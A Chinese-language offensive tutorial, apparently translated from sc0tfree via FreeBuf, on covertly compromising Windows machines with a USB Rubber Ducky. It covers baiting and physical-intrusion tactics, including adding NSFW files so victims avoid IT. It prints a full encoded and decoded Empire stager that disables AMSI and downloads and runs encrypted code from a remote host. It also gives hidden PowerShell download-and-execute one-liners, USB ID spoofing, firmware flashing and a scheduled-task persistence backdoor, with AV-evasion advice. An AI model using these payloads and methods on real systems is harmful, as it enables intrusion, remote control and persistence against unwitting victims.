Rubber Ducky攻击向量
声东击西
当用户分散把稳力时,随手将Ducky插入可访问的USB接口。
优点:能有效将Payload通报至目标系统;并且不易被用户创造。
缺陷:这种办法常日韶光较短,因此须要攻击者及USB的实行速率较快。其次,还需取决于对用户的欺骗以及USB接口的访问方便与否。
危险藏匿
在一些办公场所故意丢弃一个Ducky,例如接待处,停车场和浴室等这些地方常日成功率都相称高。为了不引起疑惑,我们可以将Ducky的标签变动为一些诱人的内容。除此之外,我们还可以利用联邦快递来传送Ducky,这将是一个很好的借口。
优点:显而易见相对付上种办法,你无需亲自去冒着被捉住的风险。当人们看到标有“2016度假照片”的USB时,好奇心总能使令他们窥伺。
缺陷:用户在插入USB时会紧盯屏幕,因此随意马虎创造问题。
神不知,鬼不觉
选择在深夜韶光绕过物理安全掌握,潜入无人值守的办公场所。
优点:一旦成功则不易被用户创造,且有足够的攻击韶光。
缺陷:风险巨大随意马虎被捉住。
以上三种办法最常用的是前两种。可以看到这两种办法想要成功都必须有具备两个条件:速率和信赖。下面我将通过优化Empire stager的通报实行韶光,并尽可能的减少用户的疑惑。
标准方法
有关创建Empire stagers(传输器)的内容,请参阅Stagers 101。
利用Empire的stager/windows/ducky,我们得到以下结果:
DELAY 3000GUI rDELAY 1000STRING powershellENTERDELAY 2000STRING powershell -W Hidden -nop -noni -enc WwBSAGUAZgBdAC4AQQBzAHMARQBNAGIATAB5AC4ARwBFAFQAVAB5AHAARQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQB8AD8AewAkAF8AfQB8ACUAewAkAF8ALgBHAEUAVABGAGkARQBsAEQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMARQB0AFYAQQBsAFUAZQAoACQAbgBVAEwAbAAsACQAdABSAFUAZQApAH0AOwBbAFMAeQBTAFQAZQBtAC4ATgBFAFQALgBTAGUAcgB2AGkAQwBFAFAAbwBJAE4AdABNAEEATgBBAEcAZQBSAF0AOgA6AEUAWABwAEUAYwB0ADEAMAAwAEMATwBOAFQASQBOAFUARQA9ADAAOwAkAFcAQwA9AE4ARQBXAC0ATwBiAEoAZQBDAFQAIABTAHkAUwB0AEUATQAuAE4AZQBUAC4AVwBFAGIAQwBsAGkARQBOAFQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXAE8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAAcgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsAJAB3AGMALgBIAGUAQQBkAEUAUgBTAC4AQQBkAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJAB3AGMALgBQAHIAbwB4AHkAPQBbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAEUAQgBSAEUAUQB1AGUAcwBUAF0AOgA6AEQARQBGAGEAdQBMAHQAVwBFAEIAUAByAE8AeAB5ADsAJABXAEMALgBQAFIAbwBYAFkALgBDAFIARQBkAGUAbgB0AEkAQQBMAFMAIAA9ACAAWwBTAHkAcwBUAEUATQAuAE4ARQB0AC4AQwByAEUARABlAE4AdABpAEEAbABDAEEAQwBoAGUAXQA6ADoARABFAEYAQQBVAEwAVABOAEUAVABXAE8AUgBrAEMAUgBFAEQAZQBOAHQASQBhAGwAUwA7ACQASwA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAEMATwBkAGkATgBHAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AEIAWQB0AEUAcwAoACcAYwBJAHAAMABDADwASgAtAHMAbABUAF8AXgBAAGkANABQAEcALAA4AHgAWABGACsAZgBFAFIAMwB2AEQAfgBkACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAFIARwBTADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJABLAC4AQwBvAHUATgB0AF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAGIAeABPAFIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAdwBjAC4ASABlAGEAZABFAHIAcwAuAEEARABkACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD0AeABiADEAcgBKAGoATABuAGwANQBKAGsAMABqADEATgAxAFYAZABoAHgAZwByAE8ANgArAFkAPQAiACkAOwAkAHMAZQByAD0AJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4AMgA6ADgAMAAnADsAJAB0AD0AJwAvAGwAbwBnAGkAbgAvAHAAcgBvAGMAZQBzAHMALgBwAGgAcAAnADsAJABEAGEAVABBAD0AJABXAEMALgBEAE8AdwBOAGwAbwBhAGQARABhAFQAYQAoACQAcwBlAFIAKwAkAHQAKQA7ACQAaQBWAD0AJABEAEEAdABBAFsAMAAuAC4AMwBdADsAJABEAEEAdABhAD0AJABEAEEAdABBAFsANAAuAC4AJABEAGEAdABhAC4ATABFAG4ARwB0AEgAXQA7AC0ASgBPAEkATgBbAEMASABBAHIAWwBdAF0AKAAmACAAJABSACAAJABkAGEAVABBACAAKAAkAEkAVgArACQASwApACkAfABJAEUAWAA=ENTER
完成韶光:约38秒
输入字符:1 (r) + 10 (powershell) + 1 (ENTER) + 2657 (payload) + 1 (ENTER) = 2670 字符
我们碰着的第一个问题是驱动程序问题。大多数机器之前从未运行或加载过Ducky(或者特定的VID/PID),以是你必须假设加载驱动程序,将是我们在物理攻击中相对耗时和必不可少的一部分。
乍一看,我们彷佛可以选择直接从“运行”框启动base64编码命令来节约韶光,但这是不可能的由于该框不会接管这么多的字符。
声东击西:在3秒内实行Pastebin
步骤1:BASE64解码STAGER
$ echo \"大众WwBSAEUARgBdAC4AQQBTAFMAZ...ACkAfABJAEUAWAA=\公众 | base64 -d[REF].ASSemBLY.GetType('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GEtFieLd('amsiInitFailed','NonPublic,Static').SeTVaLUE($NULl,$TruE)};[SYStEm.NeT.SeRvIcEPoIntMaNager]::EXPEcT100CoNtiNUe=0;$WC=New-ObjeCT SysTeM.NeT.WebCLIeNt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$wC.HeAdeRs.ADD('User-Agent',$u);$WC.ProXy=[SystEm.NEt.WeBREqueSt]::DEfaULtWeBPRoXy;$wC.PRoXY.CreDENTIALS = [SYStEm.Net.CreDEnTIAlCaChe]::DEFAUltNEtworKCredENtIALS;$K=[SysTeM.TExT.ENcODING]::ASCII.GetBytES('cIp0C<J-slT_^@i4PG,8xXF+fER3vD~d');$R={$D,$K=$ARGS;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.CouNT])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bXoR$S[($S[$I]+$S[$H])%256]}};$Wc.HEadERs.ADD(\"大众Cookie\"大众,\"大众session=yf4qx5Kgt/VLttX7JIdbgtni/iQ=\"大众);$ser='http://192.168.1.2:80';$t='/login/process.php';$daTa=$WC.DOWNLOAdDAta($ser+$t);$Iv=$dAta[0..3];$DaTa=$daTA[4..$dAta.leNGTh];-JoiN[ChAr[]](& $R $DaTA ($IV+$K))|IEX
或者,你也可以利用Empire的multi/launcher将Base64选项设置为False来重新天生stager。
步骤2:将stager上传至Pastebin
将Base64解码的PowerShell复制粘贴至Pastebin并且保存原始路径。确保利用安全的https链接以避免检测。
示例请参阅:https://pastebin.com/raw/ani8ic5X
步骤3:创建一个POWERSHELL单线启动STAGER
powershell -ep bypass -w h -c \公众IEX (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/ani8ic5X')\"大众
我们利用最小选项“-ep bypass”来绕过实行策略,而’-w h’可以帮助我们在用户界面隐蔽PowerShell窗口。
步骤4:韶光调度
默认的Empire韶光(3000和1000)非常的守旧。通过对不同系统的测试,我们可以将它改为以下值:
DELAY 500GUI rDELAY 100
步骤5:锁定USB VID和PID
要想进一步的隐蔽Ducky,我们还须要修正USB的供应商ID(VID)和产品ID(PID)。由于我们只是实行键盘注入,以是让我们来欺骗微软(0x045E)通用的“键盘”(0xFFF8)。你可以在这里下载到Microsoft vidpid.bin文件,并将其内容另复制保存为vidpid.bin移放至Ducky根目录下。
$ cp msft-vidpid.bin /media/PATH/TO/DUCKY/vidpid.bin
步骤6:整合
完成韶光:约3秒
输入字符:1 (r) + 114 (payload)+ 1 (ENTER) = 116 字符
DELAY 500GUI rDELAY 100STRING powershell -ep bypass -w h -c \"大众IEX (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/ani8ic5X')\公众ENTER
下载pastebin-payload.txt,利用自己的办法交流Pastebin链接。
编译ducky有效载荷(更多信息,请参阅Rubber Ducky wiki):
$ java -jar duckencoder.jar -i pastebin-payload.txt -o /media/PATH/TO/DUCKY/inject.bin
危险藏匿:增加可信度
由于第二种办法涉及受害者与Ducky的直接交互,因此攻击必须具备较高的可信度。这里我们还将利用相同的Pastebin传送系统,首先我们要做的是准备好Ducky USB驱动器。
步骤1:将RUBBER DUCKY固件更新到Twin Duck
擦除并将Ducky固件更新到Twin Duck固件(截止本文发布其版本为c_duck_v2.1.hex)。有关更详细的固件更新解释请参阅:https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Flashing-ducky 。
1.安装dfu-programmer:
$ sudo apt-get update && sudo apt-get install dfu-programmer
2.删除Ducky的闪存卡,并按下按钮将Ducky插入主机。
3.擦除当前固件:
$ sudo dfu-programmer at32uc3b1256 erase
4.将固件更新为Twin Duck:
$ sudo dfu-programmer at32uc3b1256 flash --suppress-bootloader-mem c_duck_v2.1.hex
5. 重置Ducky使它再次事情:
$ sudo dfu-programmer at32uc3b1256 reset
步骤2:锁定USB VID和PID
这里我们来仿照最常见的USB闪存驱动器芯片组:Alcor Micro Corp的(0x058F)通用“Flash Drive”(0×6387)。你可以下载一个定制的Alcor Micro vidpid.bin文件,并将其复制到Ducky。
$ cp alcor-vidpid.bin /media/PATH/TO/DUCKY/vidpid.bin
步骤3:为你的驱动器编造一个故事
例如只是一个目标公司CFO的驱动器,或是一个刚入公司的演习生的,这都将足以引起人们的好奇和窥伺。同时,一个好的故事也将对下一步的成败起关键浸染。
步骤4:添加驱动标签
在Linux中向FAT16驱动器添加标签的最大略方法是利用GParted。
通过读卡器加载MicroSD卡。启动GParted并切换到USB驱动器(常日是/dev/sdb)卸载驱动器(分区->卸载)右键单击并转到“标签文件系统”,然后选择一个符合驱动器故事的标签点击“运用”步骤5:进一步的伪装
为了避免一些不必要的情形发生,例如用户将USB移交至IT部门,或拔掉网线电源导致大面积的故障涌现,我们须要打造一个具有更好“用户体验”的驱动器。
在驱动器中添加虚拟内容(如图片,文档等),增加其可信度。(备注:添加NSFW的内容,使得受害者不太可能将驱动器移交给IT部门)将’inject.bin’和’vidpid.bin’隐蔽在Windows系统上。你可以利用 wine attrib + h 文件名 完成此操作,但我创造将SD卡加载到Windows机器上手动隐蔽文件更加可靠。步骤6:利用之前的PASTEBIN方法设置注入
Air Gapped系统和离线条记本电脑:从存储实行
在这个例子中我们将创建一个有效负载,以在碰着那些未连接到互联网的打算机时也能创建一个持久性的会话。当然,这个有效载荷只是一个PoC。由于许多步骤与上述步骤相同,以下我只会解释每个步骤的不同之处。
步骤1:将RUBBER DUCKY固件更新到Twin Duck
步骤2:添加驱动标签
步骤3:BASE64解码EMPIRE STAGER并将其上传到PASTEBIN
步骤4:在POWERSHELL中创建调度任务
backdoor.ps1(点击下载):
$PScommand = 'powershell -ep bypass -w h -enc '$IEXPayload = \公众IEX (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/ani8ic5X')\公众$bytes = [System.Text.Encoding]::Unicode.GetBytes($IEXPayload)$encCommand = [Convert]::ToBase64String($bytes)$null = schtasks /Create /SC MINUTE /TN Updater /TR \"大众$PScommand $encCommand\"大众
把稳:在本例中,脚本被设置为每隔60秒就检讨一次互联网的访问,但在实际环境中,建议最好每隔几个小时乃至一天进行一次检讨。
步骤5:将BACKDOOR.PS1添加到橡皮鸭
为了尽可能的减少Ducky须要输入的字符数量,我们将其重命名为“b.ps1”。
$ cp backdoor.ps1 /media/PATH/TO/DUCKY/b.ps1
步骤6:创建一个POWERSHELL单线启动BACKDOOR
我们须要找到 DUCKY SD的挂载字母,程序首先会探求标有“DUCKY”的驱动器,然后提取该驱动器的字母,并将PowerShell文件追加到字符串并实行该脚本。
Windows 7-10(gwmi方法) – 104个字符
powershell -ep bypass -w h -c \"大众.(((gwmi Win32_Volume | ? {$_.Label -eq 'DUCKY'}).DriveLetter)+'\b.ps1')\公众
Windows 8-10(Get-Volume方法) – 94个字符
powershell -ep bypass -w h -c \公众.(((Get-Volume -FileSystemLabel DUCKY).DriveLetter)+':\b.ps1')\"大众
步骤7:设置韶光
DELAY 2800GUI rDELAY 150
步骤8:锁定USB VID和PID
让我们再次来仿照Alcor Micro Corp的(0x058F)通用“Flash Drive”(0×6387)。你可以在这里下载。
$ cp alcor-vidpid.bin /media/PATH/TO/DUCKY/vidpid.bin
步骤9:整合(GET-VOLUME方法)
完成韶光:约9秒
输入字符: 1 (r) + 94 (payload)+ 1 (ENTER) = 96 字符
DELAY 2800GUI rDELAY 150STRING powershell -ep bypass -w h -c \"大众.(((Get-Volume -FileSystemLabel DUCKY).DriveLetter)+':\b.ps1')\"大众ENTER
点击下载Get-Volume有效载荷。你还可以在这里下载到gwmi版本。
总结
在此前我们利用默认的Empire Ducky脚本,而它有足足2,670个字符,并且实行所花费韶光也达到了38秒之久。在进行了相应的优化后,我们利用基于web的Empire stager,将实行韶光缩短到了3秒,并且输入字符也减少到了116个。这意味只要3秒钟攻击者就可以成功渗透目标,并且难以被创造。我们还学习到如何创建一个具有较高可信度和用户体验的USB驱动器。这些人为成分的添加,大大降落了检测和事宜报告率。末了,我们检讨了从Ducky的内部磁盘实行脚本的PoC,纵然打算机未连接到互联网时也能创建一个持久性的会话。以上谈论的所有技能都是无文件式攻击,因此对付绕过AV也有一定的效果。为了增加攻击的更加暗藏性,在这里我建议大家尽可能的利用自己的根本举动步伐/托管而不是Pastebin,由于许多这类比较有名的网站,在企业网络环境中极易被阻断和隔离。
参考来源:sc0tfree,FB小编 secist 编译,转载自FreeBuf.COM